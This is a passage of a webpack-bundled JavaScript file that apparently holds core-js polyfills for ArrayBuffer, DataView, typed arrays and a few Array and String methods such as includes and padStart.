, proto = Date.prototype;
if(!(TO_PRIMITIVE in proto))__webpack_require__(8)(proto, TO_PRIMITIVE, __webpack_require__(230));
/***/ },
/* 230 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var anObject = __webpack_require__(10)
, toPrimitive = __webpack_require__(14)
, NUMBER = 'number';
module.exports = function(hint){
if(hint !== 'string' && hint !== NUMBER && hint !== 'default')throw TypeError('Incorrect hint');
return toPrimitive(anObject(this), hint != NUMBER);
};
/***/ },
/* 231 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var $export = __webpack_require__(6)
, $typed = __webpack_require__(232)
, buffer = __webpack_require__(233)
, anObject = __webpack_require__(10)
, toIndex = __webpack_require__(37)
, toLength = __webpack_require__(35)
, isObject = __webpack_require__(11)
, ArrayBuffer = __webpack_require__(2).ArrayBuffer
, speciesConstructor = __webpack_require__(199)
, $ArrayBuffer = buffer.ArrayBuffer
, $DataView = buffer.DataView
, $isView = $typed.ABV && ArrayBuffer.isView
, $slice = $ArrayBuffer.prototype.slice
, VIEW = $typed.VIEW
, ARRAY_BUFFER = 'ArrayBuffer';
$export($export.G + $export.W + $export.F * (ArrayBuffer !== $ArrayBuffer), {ArrayBuffer: $ArrayBuffer});
$export($export.S + $export.F * !$typed.CONSTR, ARRAY_BUFFER, {
// 24.1.3.1 ArrayBuffer.isView(arg)
isView: function isView(it){
return $isView && $isView(it) || isObject(it) && VIEW in it;
}
});
$export($export.P + $export.U + $export.F * __webpack_require__(5)(function(){
return !new $ArrayBuffer(2).slice(1, undefined).byteLength;
}), ARRAY_BUFFER, {
// 24.1.4.3 ArrayBuffer.prototype.slice(start, end)
slice: function slice(start, end){
if($slice !== undefined && end === undefined)return $slice.call(anObject(this), start); // FF fix
var len = anObject(this).byteLength
, first = toIndex(start, len)
, final = toIndex(end === undefined ? len : end, len)
, result = new (speciesConstructor(this, $ArrayBuffer))(toLength(final - first))
, viewS = new $DataView(this)
, viewT = new $DataView(result)
, index = 0;
while(first < final){
viewT.setUint8(index++, viewS.getUint8(first++));
} return result;
}
});
__webpack_require__(186)(ARRAY_BUFFER);
/***/ },
/* 232 */
/***/ function(module, exports, __webpack_require__) {
var global = __webpack_require__(2)
, hide = __webpack_require__(8)
, uid = __webpack_require__(17)
, TYPED = uid('typed_array')
, VIEW = uid('view')
, ABV = !!(global.ArrayBuffer && global.DataView)
, CONSTR = ABV
, i = 0, l = 9, Typed;
var TypedArrayConstructors = (
'Int8Array,Uint8Array,Uint8ClampedArray,Int16Array,Uint16Array,Int32Array,Uint32Array,Float32Array,Float64Array'
).split(',');
while(i < l){
if(Typed = global[TypedArrayConstructors[i++]]){
hide(Typed.prototype, TYPED, true);
hide(Typed.prototype, VIEW, true);
} else CONSTR = false;
}
module.exports = {
ABV: ABV,
CONSTR: CONSTR,
TYPED: TYPED,
VIEW: VIEW
};
/***/ },
/* 233 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var global = __webpack_require__(2)
, DESCRIPTORS = __webpack_require__(4)
, LIBRARY = __webpack_require__(26)
, $typed = __webpack_require__(232)
, hide = __webpack_require__(8)
, redefineAll = __webpack_require__(202)
, fails = __webpack_require__(5)
, anInstance = __webpack_require__(197)
, toInteger = __webpack_require__(36)
, toLength = __webpack_require__(35)
, gOPN = __webpack_require__(48).f
, dP = __webpack_require__(9).f
, arrayFill = __webpack_require__(180)
, setToStringTag = __webpack_require__(22)
, ARRAY_BUFFER = 'ArrayBuffer'
, DATA_VIEW = 'DataView'
, PROTOTYPE = 'prototype'
, WRONG_LENGTH = 'Wrong length!'
, WRONG_INDEX = 'Wrong index!'
, $ArrayBuffer = global[ARRAY_BUFFER]
, $DataView = global[DATA_VIEW]
, Math = global.Math
, RangeError = global.RangeError
, Infinity = global.Infinity
, BaseBuffer = $ArrayBuffer
, abs = Math.abs
, pow = Math.pow
, floor = Math.floor
, log = Math.log
, LN2 = Math.LN2
, BUFFER = 'buffer'
, BYTE_LENGTH = 'byteLength'
, BYTE_OFFSET = 'byteOffset'
, $BUFFER = DESCRIPTORS ? '_b' : BUFFER
, $LENGTH = DESCRIPTORS ? '_l' : BYTE_LENGTH
, $OFFSET = DESCRIPTORS ? '_o' : BYTE_OFFSET;
// IEEE754 conversions based on https://github.com/feross/ieee754
var packIEEE754 = function(value, mLen, nBytes){
var buffer = Array(nBytes)
, eLen = nBytes * 8 - mLen - 1
, eMax = (1 << eLen) - 1
, eBias = eMax >> 1
, rt = mLen === 23 ? pow(2, -24) - pow(2, -77) : 0
, i = 0
, s = value < 0 || value === 0 && 1 / value < 0 ? 1 : 0
, e, m, c;
value = abs(value)
if(value != value || value === Infinity){
m = value != value ? 1 : 0;
e = eMax;
} else {
e = floor(log(value) / LN2);
if(value * (c = pow(2, -e)) < 1){
e--;
c *= 2;
}
if(e + eBias >= 1){
value += rt / c;
} else {
value += rt * pow(2, 1 - eBias);
}
if(value * c >= 2){
e++;
c /= 2;
}
if(e + eBias >= eMax){
m = 0;
e = eMax;
} else if(e + eBias >= 1){
m = (value * c - 1) * pow(2, mLen);
e = e + eBias;
} else {
m = value * pow(2, eBias - 1) * pow(2, mLen);
e = 0;
}
}
for(; mLen >= 8; buffer[i++] = m & 255, m /= 256, mLen -= 8);
e = e << mLen | m;
eLen += mLen;
for(; eLen > 0; buffer[i++] = e & 255, e /= 256, eLen -= 8);
buffer[--i] |= s * 128;
return buffer;
};
var unpackIEEE754 = function(buffer, mLen, nBytes){
var eLen = nBytes * 8 - mLen - 1
, eMax = (1 << eLen) - 1
, eBias = eMax >> 1
, nBits = eLen - 7
, i = nBytes - 1
, s = buffer[i--]
, e = s & 127
, m;
s >>= 7;
for(; nBits > 0; e = e * 256 + buffer[i], i--, nBits -= 8);
m = e & (1 << -nBits) - 1;
e >>= -nBits;
nBits += mLen;
for(; nBits > 0; m = m * 256 + buffer[i], i--, nBits -= 8);
if(e === 0){
e = 1 - eBias;
} else if(e === eMax){
return m ? NaN : s ? -Infinity : Infinity;
} else {
m = m + pow(2, mLen);
e = e - eBias;
} return (s ? -1 : 1) * m * pow(2, e - mLen);
};
var unpackI32 = function(bytes){
return bytes[3] << 24 | bytes[2] << 16 | bytes[1] << 8 | bytes[0];
};
var packI8 = function(it){
return [it & 0xff];
};
var packI16 = function(it){
return [it & 0xff, it >> 8 & 0xff];
};
var packI32 = function(it){
return [it & 0xff, it >> 8 & 0xff, it >> 16 & 0xff, it >> 24 & 0xff];
};
var packF64 = function(it){
return packIEEE754(it, 52, 8);
};
var packF32 = function(it){
return packIEEE754(it, 23, 4);
};
var addGetter = function(C, key, internal){
dP(C[PROTOTYPE], key, {get: function(){ return this[internal]; }});
};
var get = function(view, bytes, index, isLittleEndian){
var numIndex = +index
, intIndex = toInteger(numIndex);
if(numIndex != intIndex || intIndex < 0 || intIndex + bytes > view[$LENGTH])throw RangeError(WRONG_INDEX);
var store = view[$BUFFER]._b
, start = intIndex + view[$OFFSET]
, pack = store.slice(start, start + bytes);
return isLittleEndian ? pack : pack.reverse();
};
var set = function(view, bytes, index, conversion, value, isLittleEndian){
var numIndex = +index
, intIndex = toInteger(numIndex);
if(numIndex != intIndex || intIndex < 0 || intIndex + bytes > view[$LENGTH])throw RangeError(WRONG_INDEX);
var store = view[$BUFFER]._b
, start = intIndex + view[$OFFSET]
, pack = conversion(+value);
for(var i = 0; i < bytes; i++)store[start + i] = pack[isLittleEndian ? i : bytes - i - 1];
};
var validateArrayBufferArguments = function(that, length){
anInstance(that, $ArrayBuffer, ARRAY_BUFFER);
var numberLength = +length
, byteLength = toLength(numberLength);
if(numberLength != byteLength)throw RangeError(WRONG_LENGTH);
return byteLength;
};
if(!$typed.ABV){
$ArrayBuffer = function ArrayBuffer(length){
var byteLength = validateArrayBufferArguments(this, length);
this._b = arrayFill.call(Array(byteLength), 0);
this[$LENGTH] = byteLength;
};
$DataView = function DataView(buffer, byteOffset, byteLength){
anInstance(this, $DataView, DATA_VIEW);
anInstance(buffer, $ArrayBuffer, DATA_VIEW);
var bufferLength = buffer[$LENGTH]
, offset = toInteger(byteOffset);
if(offset < 0 || offset > bufferLength)throw RangeError('Wrong offset!');
byteLength = byteLength === undefined ? bufferLength - offset : toLength(byteLength);
if(offset + byteLength > bufferLength)throw RangeError(WRONG_LENGTH);
this[$BUFFER] = buffer;
this[$OFFSET] = offset;
this[$LENGTH] = byteLength;
};
if(DESCRIPTORS){
addGetter($ArrayBuffer, BYTE_LENGTH, '_l');
addGetter($DataView, BUFFER, '_b');
addGetter($DataView, BYTE_LENGTH, '_l');
addGetter($DataView, BYTE_OFFSET, '_o');
}
redefineAll($DataView[PROTOTYPE], {
getInt8: function getInt8(byteOffset){
return get(this, 1, byteOffset)[0] << 24 >> 24;
},
getUint8: function getUint8(byteOffset){
return get(this, 1, byteOffset)[0];
},
getInt16: function getInt16(byteOffset /*, littleEndian */){
var bytes = get(this, 2, byteOffset, arguments[1]);
return (bytes[1] << 8 | bytes[0]) << 16 >> 16;
},
getUint16: function getUint16(byteOffset /*, littleEndian */){
var bytes = get(this, 2, byteOffset, arguments[1]);
return bytes[1] << 8 | bytes[0];
},
getInt32: function getInt32(byteOffset /*, littleEndian */){
return unpackI32(get(this, 4, byteOffset, arguments[1]));
},
getUint32: function getUint32(byteOffset /*, littleEndian */){
return unpackI32(get(this, 4, byteOffset, arguments[1])) >>> 0;
},
getFloat32: function getFloat32(byteOffset /*, littleEndian */){
return unpackIEEE754(get(this, 4, byteOffset, arguments[1]), 23, 4);
},
getFloat64: function getFloat64(byteOffset /*, littleEndian */){
return unpackIEEE754(get(this, 8, byteOffset, arguments[1]), 52, 8);
},
setInt8: function setInt8(byteOffset, value){
set(this, 1, byteOffset, packI8, value);
},
setUint8: function setUint8(byteOffset, value){
set(this, 1, byteOffset, packI8, value);
},
setInt16: function setInt16(byteOffset, value /*, littleEndian */){
set(this, 2, byteOffset, packI16, value, arguments[2]);
},
setUint16: function setUint16(byteOffset, value /*, littleEndian */){
set(this, 2, byteOffset, packI16, value, arguments[2]);
},
setInt32: function setInt32(byteOffset, value /*, littleEndian */){
set(this, 4, byteOffset, packI32, value, arguments[2]);
},
setUint32: function setUint32(byteOffset, value /*, littleEndian */){
set(this, 4, byteOffset, packI32, value, arguments[2]);
},
setFloat32: function setFloat32(byteOffset, value /*, littleEndian */){
set(this, 4, byteOffset, packF32, value, arguments[2]);
},
setFloat64: function setFloat64(byteOffset, value /*, littleEndian */){
set(this, 8, byteOffset, packF64, value, arguments[2]);
}
});
} else {
if(!fails(function(){
new $ArrayBuffer; // eslint-disable-line no-new
}) || !fails(function(){
new $ArrayBuffer(.5); // eslint-disable-line no-new
})){
$ArrayBuffer = function ArrayBuffer(length){
return new BaseBuffer(validateArrayBufferArguments(this, length));
};
var ArrayBufferProto = $ArrayBuffer[PROTOTYPE] = BaseBuffer[PROTOTYPE];
for(var keys = gOPN(BaseBuffer), j = 0, key; keys.length > j; ){
if(!((key = keys[j++]) in $ArrayBuffer))hide($ArrayBuffer, key, BaseBuffer[key]);
};
if(!LIBRARY)ArrayBufferProto.constructor = $ArrayBuffer;
}
// iOS Safari 7.x bug
var view = new $DataView(new $ArrayBuffer(2))
, $setInt8 = $DataView[PROTOTYPE].setInt8;
view.setInt8(0, 2147483648);
view.setInt8(1, 2147483649);
if(view.getInt8(0) || !view.getInt8(1))redefineAll($DataView[PROTOTYPE], {
setInt8: function setInt8(byteOffset, value){
$setInt8.call(this, byteOffset, value << 24 >> 24);
},
setUint8: function setUint8(byteOffset, value){
$setInt8.call(this, byteOffset, value << 24 >> 24);
}
}, true);
}
setToStringTag($ArrayBuffer, ARRAY_BUFFER);
setToStringTag($DataView, DATA_VIEW);
hide($DataView[PROTOTYPE], $typed.VIEW, true);
exports[ARRAY_BUFFER] = $ArrayBuffer;
exports[DATA_VIEW] = $DataView;
/***/ },
/* 234 */
/***/ function(module, exports, __webpack_require__) {
var $export = __webpack_require__(6);
$export($export.G + $export.W + $export.F * !__webpack_require__(232).ABV, {
DataView: __webpack_require__(233).DataView
});
/***/ },
/* 235 */
/***/ function(module, exports, __webpack_require__) {
__webpack_require__(236)('Int8', 1, function(init){
return function Int8Array(data, byteOffset, length){
return init(this, data, byteOffset, length);
};
});
/***/ },
/* 236 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
if(__webpack_require__(4)){
var LIBRARY = __webpack_require__(26)
, global = __webpack_require__(2)
, fails = __webpack_require__(5)
, $export = __webpack_require__(6)
, $typed = __webpack_require__(232)
, $buffer = __webpack_require__(233)
, ctx = __webpack_require__(18)
, anInstance = __webpack_require__(197)
, propertyDesc = __webpack_require__(15)
, hide = __webpack_require__(8)
, redefineAll = __webpack_require__(202)
, toInteger = __webpack_require__(36)
, toLength = __webpack_require__(35)
, toIndex = __webpack_require__(37)
, toPrimitive = __webpack_require__(14)
, has = __webpack_require__(3)
, same = __webpack_require__(69)
, classof = __webpack_require__(73)
, isObject = __webpack_require__(11)
, toObject = __webpack_require__(56)
, isArrayIter = __webpack_require__(154)
, create = __webpack_require__(44)
, getPrototypeOf = __webpack_require__(57)
, gOPN = __webpack_require__(48).f
, getIterFn = __webpack_require__(156)
, uid = __webpack_require__(17)
, wks = __webpack_require__(23)
, createArrayMethod = __webpack_require__(164)
, createArrayIncludes = __webpack_require__(34)
, speciesConstructor = __webpack_require__(199)
, ArrayIterators = __webpack_require__(183)
, Iterators = __webpack_require__(135)
, $iterDetect = __webpack_require__(157)
, setSpecies = __webpack_require__(186)
, arrayFill = __webpack_require__(180)
, arrayCopyWithin = __webpack_require__(177)
, $DP = __webpack_require__(9)
, $GOPD = __webpack_require__(49)
, dP = $DP.f
, gOPD = $GOPD.f
, RangeError = global.RangeError
, TypeError = global.TypeError
, Uint8Array = global.Uint8Array
, ARRAY_BUFFER = 'ArrayBuffer'
, SHARED_BUFFER = 'Shared' + ARRAY_BUFFER
, BYTES_PER_ELEMENT = 'BYTES_PER_ELEMENT'
, PROTOTYPE = 'prototype'
, ArrayProto = Array[PROTOTYPE]
, $ArrayBuffer = $buffer.ArrayBuffer
, $DataView = $buffer.DataView
, arrayForEach = createArrayMethod(0)
, arrayFilter = createArrayMethod(2)
, arraySome = createArrayMethod(3)
, arrayEvery = createArrayMethod(4)
, arrayFind = createArrayMethod(5)
, arrayFindIndex = createArrayMethod(6)
, arrayIncludes = createArrayIncludes(true)
, arrayIndexOf = createArrayIncludes(false)
, arrayValues = ArrayIterators.values
, arrayKeys = ArrayIterators.keys
, arrayEntries = ArrayIterators.entries
, arrayLastIndexOf = ArrayProto.lastIndexOf
, arrayReduce = ArrayProto.reduce
, arrayReduceRight = ArrayProto.reduceRight
, arrayJoin = ArrayProto.join
, arraySort = ArrayProto.sort
, arraySlice = ArrayProto.slice
, arrayToString = ArrayProto.toString
, arrayToLocaleString = ArrayProto.toLocaleString
, ITERATOR = wks('iterator')
, TAG = wks('toStringTag')
, TYPED_CONSTRUCTOR = uid('typed_constructor')
, DEF_CONSTRUCTOR = uid('def_constructor')
, ALL_CONSTRUCTORS = $typed.CONSTR
, TYPED_ARRAY = $typed.TYPED
, VIEW = $typed.VIEW
, WRONG_LENGTH = 'Wrong length!';
var $map = createArrayMethod(1, function(O, length){
return allocate(speciesConstructor(O, O[DEF_CONSTRUCTOR]), length);
});
var LITTLE_ENDIAN = fails(function(){
return new Uint8Array(new Uint16Array([1]).buffer)[0] === 1;
});
var FORCED_SET = !!Uint8Array && !!Uint8Array[PROTOTYPE].set && fails(function(){
new Uint8Array(1).set({});
});
var strictToLength = function(it, SAME){
if(it === undefined)throw TypeError(WRONG_LENGTH);
var number = +it
, length = toLength(it);
if(SAME && !same(number, length))throw RangeError(WRONG_LENGTH);
return length;
};
var toOffset = function(it, BYTES){
var offset = toInteger(it);
if(offset < 0 || offset % BYTES)throw RangeError('Wrong offset!');
return offset;
};
var validate = function(it){
if(isObject(it) && TYPED_ARRAY in it)return it;
throw TypeError(it + ' is not a typed array!');
};
var allocate = function(C, length){
if(!(isObject(C) && TYPED_CONSTRUCTOR in C)){
throw TypeError('It is not a typed array constructor!');
} return new C(length);
};
var speciesFromList = function(O, list){
return fromList(speciesConstructor(O, O[DEF_CONSTRUCTOR]), list);
};
var fromList = function(C, list){
var index = 0
, length = list.length
, result = allocate(C, length);
while(length > index)result[index] = list[index++];
return result;
};
var addGetter = function(it, key, internal){
dP(it, key, {get: function(){ return this._d[internal]; }});
};
var $from = function from(source /*, mapfn, thisArg */){
var O = toObject(source)
, aLen = arguments.length
, mapfn = aLen > 1 ? arguments[1] : undefined
, mapping = mapfn !== undefined
, iterFn = getIterFn(O)
, i, length, values, result, step, iterator;
if(iterFn != undefined && !isArrayIter(iterFn)){
for(iterator = iterFn.call(O), values = [], i = 0; !(step = iterator.next()).done; i++){
values.push(step.value);
} O = values;
}
if(mapping && aLen > 2)mapfn = ctx(mapfn, arguments[2], 2);
for(i = 0, length = toLength(O.length), result = allocate(this, length); length > i; i++){
result[i] = mapping ? mapfn(O[i], i) : O[i];
}
return result;
};
var $of = function of(/*...items*/){
var index = 0
, length = arguments.length
, result = allocate(this, length);
while(length > index)result[index] = arguments[index++];
return result;
};
// iOS Safari 6.x fails here
var TO_LOCALE_BUG = !!Uint8Array && fails(function(){ arrayToLocaleString.call(new Uint8Array(1)); });
var $toLocaleString = function toLocaleString(){
return arrayToLocaleString.apply(TO_LOCALE_BUG ? arraySlice.call(validate(this)) : validate(this), arguments);
};
var proto = {
copyWithin: function copyWithin(target, start /*, end */){
return arrayCopyWithin.call(validate(this), target, start, arguments.length > 2 ? arguments[2] : undefined);
},
every: function every(callbackfn /*, thisArg */){
return arrayEvery(validate(this), callbackfn, arguments.length > 1 ? arguments[1] : undefined);
},
fill: function fill(value /*, start, end */){ // eslint-disable-line no-unused-vars
return arrayFill.apply(validate(this), arguments);
},
filter: function filter(callbackfn /*, thisArg */){
return speciesFromList(this, arrayFilter(validate(this), callbackfn,
arguments.length > 1 ? arguments[1] : undefined));
},
find: function find(predicate /*, thisArg */){
return arrayFind(validate(this), predicate, arguments.length > 1 ? arguments[1] : undefined);
},
findIndex: function findIndex(predicate /*, thisArg */){
return arrayFindIndex(validate(this), predicate, arguments.length > 1 ? arguments[1] : undefined);
},
forEach: function forEach(callbackfn /*, thisArg */){
arrayForEach(validate(this), callbackfn, arguments.length > 1 ? arguments[1] : undefined);
},
indexOf: function indexOf(searchElement /*, fromIndex */){
return arrayIndexOf(validate(this), searchElement, arguments.length > 1 ? arguments[1] : undefined);
},
includes: function includes(searchElement /*, fromIndex */){
return arrayIncludes(validate(this), searchElement, arguments.length > 1 ? arguments[1] : undefined);
},
join: function join(separator){ // eslint-disable-line no-unused-vars
return arrayJoin.apply(validate(this), arguments);
},
lastIndexOf: function lastIndexOf(searchElement /*, fromIndex */){ // eslint-disable-line no-unused-vars
return arrayLastIndexOf.apply(validate(this), arguments);
},
map: function map(mapfn /*, thisArg */){
return $map(validate(this), mapfn, arguments.length > 1 ? arguments[1] : undefined);
},
reduce: function reduce(callbackfn /*, initialValue */){ // eslint-disable-line no-unused-vars
return arrayReduce.apply(validate(this), arguments);
},
reduceRight: function reduceRight(callbackfn /*, initialValue */){ // eslint-disable-line no-unused-vars
return arrayReduceRight.apply(validate(this), arguments);
},
reverse: function reverse(){
var that = this
, length = validate(that).length
, middle = Math.floor(length / 2)
, index = 0
, value;
while(index < middle){
value = that[index];
that[index++] = that[--length];
that[length] = value;
} return that;
},
some: function some(callbackfn /*, thisArg */){
return arraySome(validate(this), callbackfn, arguments.length > 1 ? arguments[1] : undefined);
},
sort: function sort(comparefn){
return arraySort.call(validate(this), comparefn);
},
subarray: function subarray(begin, end){
var O = validate(this)
, length = O.length
, $begin = toIndex(begin, length);
return new (speciesConstructor(O, O[DEF_CONSTRUCTOR]))(
O.buffer,
O.byteOffset + $begin * O.BYTES_PER_ELEMENT,
toLength((end === undefined ? length : toIndex(end, length)) - $begin)
);
}
};
var $slice = function slice(start, end){
return speciesFromList(this, arraySlice.call(validate(this), start, end));
};
var $set = function set(arrayLike /*, offset */){
validate(this);
var offset = toOffset(arguments[1], 1)
, length = this.length
, src = toObject(arrayLike)
, len = toLength(src.length)
, index = 0;
if(len + offset > length)throw RangeError(WRONG_LENGTH);
while(index < len)this[offset + index] = src[index++];
};
var $iterators = {
entries: function entries(){
return arrayEntries.call(validate(this));
},
keys: function keys(){
return arrayKeys.call(validate(this));
},
values: function values(){
return arrayValues.call(validate(this));
}
};
var isTAIndex = function(target, key){
return isObject(target)
&& target[TYPED_ARRAY]
&& typeof key != 'symbol'
&& key in target
&& String(+key) == String(key);
};
var $getDesc = function getOwnPropertyDescriptor(target, key){
return isTAIndex(target, key = toPrimitive(key, true))
? propertyDesc(2, target[key])
: gOPD(target, key);
};
var $setDesc = function defineProperty(target, key, desc){
if(isTAIndex(target, key = toPrimitive(key, true))
&& isObject(desc)
&& has(desc, 'value')
&& !has(desc, 'get')
&& !has(desc, 'set')
// TODO: add validation descriptor w/o calling accessors
&& !desc.configurable
&& (!has(desc, 'writable') || desc.writable)
&& (!has(desc, 'enumerable') || desc.enumerable)
){
target[key] = desc.value;
return target;
} else return dP(target, key, desc);
};
if(!ALL_CONSTRUCTORS){
$GOPD.f = $getDesc;
$DP.f = $setDesc;
}
$export($export.S + $export.F * !ALL_CONSTRUCTORS, 'Object', {
getOwnPropertyDescriptor: $getDesc,
defineProperty: $setDesc
});
if(fails(function(){ arrayToString.call({}); })){
arrayToString = arrayToLocaleString = function toString(){
return arrayJoin.call(this);
}
}
var $TypedArrayPrototype$ = redefineAll({}, proto);
redefineAll($TypedArrayPrototype$, $iterators);
hide($TypedArrayPrototype$, ITERATOR, $iterators.values);
redefineAll($TypedArrayPrototype$, {
slice: $slice,
set: $set,
constructor: function(){ /* noop */ },
toString: arrayToString,
toLocaleString: $toLocaleString
});
addGetter($TypedArrayPrototype$, 'buffer', 'b');
addGetter($TypedArrayPrototype$, 'byteOffset', 'o');
addGetter($TypedArrayPrototype$, 'byteLength', 'l');
addGetter($TypedArrayPrototype$, 'length', 'e');
dP($TypedArrayPrototype$, TAG, {
get: function(){ return this[TYPED_ARRAY]; }
});
module.exports = function(KEY, BYTES, wrapper, CLAMPED){
CLAMPED = !!CLAMPED;
var NAME = KEY + (CLAMPED ? 'Clamped' : '') + 'Array'
, ISNT_UINT8 = NAME != 'Uint8Array'
, GETTER = 'get' + KEY
, SETTER = 'set' + KEY
, TypedArray = global[NAME]
, Base = TypedArray || {}
, TAC = TypedArray && getPrototypeOf(TypedArray)
, FORCED = !TypedArray || !$typed.ABV
, O = {}
, TypedArrayPrototype = TypedArray && TypedArray[PROTOTYPE];
var getter = function(that, index){
var data = that._d;
return data.v[GETTER](index * BYTES + data.o, LITTLE_ENDIAN);
};
var setter = function(that, index, value){
var data = that._d;
if(CLAMPED)value = (value = Math.round(value)) < 0 ? 0 : value > 0xff ? 0xff : value & 0xff;
data.v[SETTER](index * BYTES + data.o, value, LITTLE_ENDIAN);
};
var addElement = function(that, index){
dP(that, index, {
get: function(){
return getter(this, index);
},
set: function(value){
return setter(this, index, value);
},
enumerable: true
});
};
if(FORCED){
TypedArray = wrapper(function(that, data, $offset, $length){
anInstance(that, TypedArray, NAME, '_d');
var index = 0
, offset = 0
, buffer, byteLength, length, klass;
if(!isObject(data)){
length = strictToLength(data, true)
byteLength = length * BYTES;
buffer = new $ArrayBuffer(byteLength);
} else if(data instanceof $ArrayBuffer || (klass = classof(data)) == ARRAY_BUFFER || klass == SHARED_BUFFER){
buffer = data;
offset = toOffset($offset, BYTES);
var $len = data.byteLength;
if($length === undefined){
if($len % BYTES)throw RangeError(WRONG_LENGTH);
byteLength = $len - offset;
if(byteLength < 0)throw RangeError(WRONG_LENGTH);
} else {
byteLength = toLength($length) * BYTES;
if(byteLength + offset > $len)throw RangeError(WRONG_LENGTH);
}
length = byteLength / BYTES;
} else if(TYPED_ARRAY in data){
return fromList(TypedArray, data);
} else {
return $from.call(TypedArray, data);
}
hide(that, '_d', {
b: buffer,
o: offset,
l: byteLength,
e: length,
v: new $DataView(buffer)
});
while(index < length)addElement(that, index++);
});
TypedArrayPrototype = TypedArray[PROTOTYPE] = create($TypedArrayPrototype$);
hide(TypedArrayPrototype, 'constructor', TypedArray);
} else if(!$iterDetect(function(iter){
// V8 works with iterators, but fails in many other cases
// https://code.google.com/p/v8/issues/detail?id=4552
new TypedArray(null); // eslint-disable-line no-new
new TypedArray(iter); // eslint-disable-line no-new
}, true)){
TypedArray = wrapper(function(that, data, $offset, $length){
anInstance(that, TypedArray, NAME);
var klass;
// `ws` module bug, temporarily remove validation length for Uint8Array
// https://github.com/websockets/ws/pull/645
if(!isObject(data))return new Base(strictToLength(data, ISNT_UINT8));
if(data instanceof $ArrayBuffer || (klass = classof(data)) == ARRAY_BUFFER || klass == SHARED_BUFFER){
return $length !== undefined
? new Base(data, toOffset($offset, BYTES), $length)
: $offset !== undefined
? new Base(data, toOffset($offset, BYTES))
: new Base(data);
}
if(TYPED_ARRAY in data)return fromList(TypedArray, data);
return $from.call(TypedArray, data);
});
arrayForEach(TAC !== Function.prototype ? gOPN(Base).concat(gOPN(TAC)) : gOPN(Base), function(key){
if(!(key in TypedArray))hide(TypedArray, key, Base[key]);
});
TypedArray[PROTOTYPE] = TypedArrayPrototype;
if(!LIBRARY)TypedArrayPrototype.constructor = TypedArray;
}
var $nativeIterator = TypedArrayPrototype[ITERATOR]
, CORRECT_ITER_NAME = !!$nativeIterator && ($nativeIterator.name == 'values' || $nativeIterator.name == undefined)
, $iterator = $iterators.values;
hide(TypedArray, TYPED_CONSTRUCTOR, true);
hide(TypedArrayPrototype, TYPED_ARRAY, NAME);
hide(TypedArrayPrototype, VIEW, true);
hide(TypedArrayPrototype, DEF_CONSTRUCTOR, TypedArray);
if(CLAMPED ? new TypedArray(1)[TAG] != NAME : !(TAG in TypedArrayPrototype)){
dP(TypedArrayPrototype, TAG, {
get: function(){ return NAME; }
});
}
O[NAME] = TypedArray;
$export($export.G + $export.W + $export.F * (TypedArray != Base), O);
$export($export.S, NAME, {
BYTES_PER_ELEMENT: BYTES,
from: $from,
of: $of
});
if(!(BYTES_PER_ELEMENT in TypedArrayPrototype))hide(TypedArrayPrototype, BYTES_PER_ELEMENT, BYTES);
$export($export.P, NAME, proto);
setSpecies(NAME);
$export($export.P + $export.F * FORCED_SET, NAME, {set: $set});
$export($export.P + $export.F * !CORRECT_ITER_NAME, NAME, $iterators);
$export($export.P + $export.F * (TypedArrayPrototype.toString != arrayToString), NAME, {toString: arrayToString});
$export($export.P + $export.F * fails(function(){
new TypedArray(1).slice();
}), NAME, {slice: $slice});
$export($export.P + $export.F * (fails(function(){
return [1, 2].toLocaleString() != new TypedArray([1, 2]).toLocaleString()
}) || !fails(function(){
TypedArrayPrototype.toLocaleString.call([1, 2]);
})), NAME, {toLocaleString: $toLocaleString});
Iterators[NAME] = CORRECT_ITER_NAME ? $nativeIterator : $iterator;
if(!LIBRARY && !CORRECT_ITER_NAME)hide(TypedArrayPrototype, ITERATOR, $iterator);
};
} else module.exports = function(){ /* empty */ };
/***/ },
/* 237 */
/***/ function(module, exports, __webpack_require__) {
__webpack_require__(236)('Uint8', 1, function(init){
return function Uint8Array(data, byteOffset, length){
return init(this, data, byteOffset, length);
};
});
/***/ },
/* 238 */
/***/ function(module, exports, __webpack_require__) {
__webpack_require__(236)('Uint8', 1, function(init){
return function Uint8ClampedArray(data, byteOffset, length){
return init(this, data, byteOffset, length);
};
}, true);
/***/ },
/* 239 */
/***/ function(module, exports, __webpack_require__) {
__webpack_require__(236)('Int16', 2, function(init){
return function Int16Array(data, byteOffset, length){
return init(this, data, byteOffset, length);
};
});
/***/ },
/* 240 */
/***/ function(module, exports, __webpack_require__) {
__webpack_require__(236)('Uint16', 2, function(init){
return function Uint16Array(data, byteOffset, length){
return init(this, data, byteOffset, length);
};
});
/***/ },
/* 241 */
/***/ function(module, exports, __webpack_require__) {
__webpack_require__(236)('Int32', 4, function(init){
return function Int32Array(data, byteOffset, length){
return init(this, data, byteOffset, length);
};
});
/***/ },
/* 242 */
/***/ function(module, exports, __webpack_require__) {
__webpack_require__(236)('Uint32', 4, function(init){
return function Uint32Array(data, byteOffset, length){
return init(this, data, byteOffset, length);
};
});
/***/ },
/* 243 */
/***/ function(module, exports, __webpack_require__) {
__webpack_require__(236)('Float32', 4, function(init){
return function Float32Array(data, byteOffset, length){
return init(this, data, byteOffset, length);
};
});
/***/ },
/* 244 */
/***/ function(module, exports, __webpack_require__) {
__webpack_require__(236)('Float64', 8, function(init){
return function Float64Array(data, byteOffset, length){
return init(this, data, byteOffset, length);
};
});
/***/ },
/* 245 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
// https://github.com/tc39/Array.prototype.includes
var $export = __webpack_require__(6)
, $includes = __webpack_require__(34)(true);
$export($export.P, 'Array', {
includes: function includes(el /*, fromIndex = 0 */){
return $includes(this, el, arguments.length > 1 ? arguments[1] : undefined);
}
});
__webpack_require__(178)('includes');
/***/ },
/* 246 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
// https://github.com/mathiasbynens/String.prototype.at
var $export = __webpack_require__(6)
, $at = __webpack_require__(125)(true);
$export($export.P, 'String', {
at: function at(pos){
return $at(this, pos);
}
});
/***/ },
/* 247 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
// https://github.com/tc39/proposal-string-pad-start-end
var $export = __webpack_require__(6)
, $pad = __webpack_require__(248);
$export($export.P, 'String', {
padStart: function padStart(maxLength /*, fillString = ' ' */){
return $pad(this, maxLength, arguments.length > 1 ? arguments[1] : undefined, true);
}
});
/***/ },
/* 248 */
/***/ function(module, exports, __webpack_require__) {
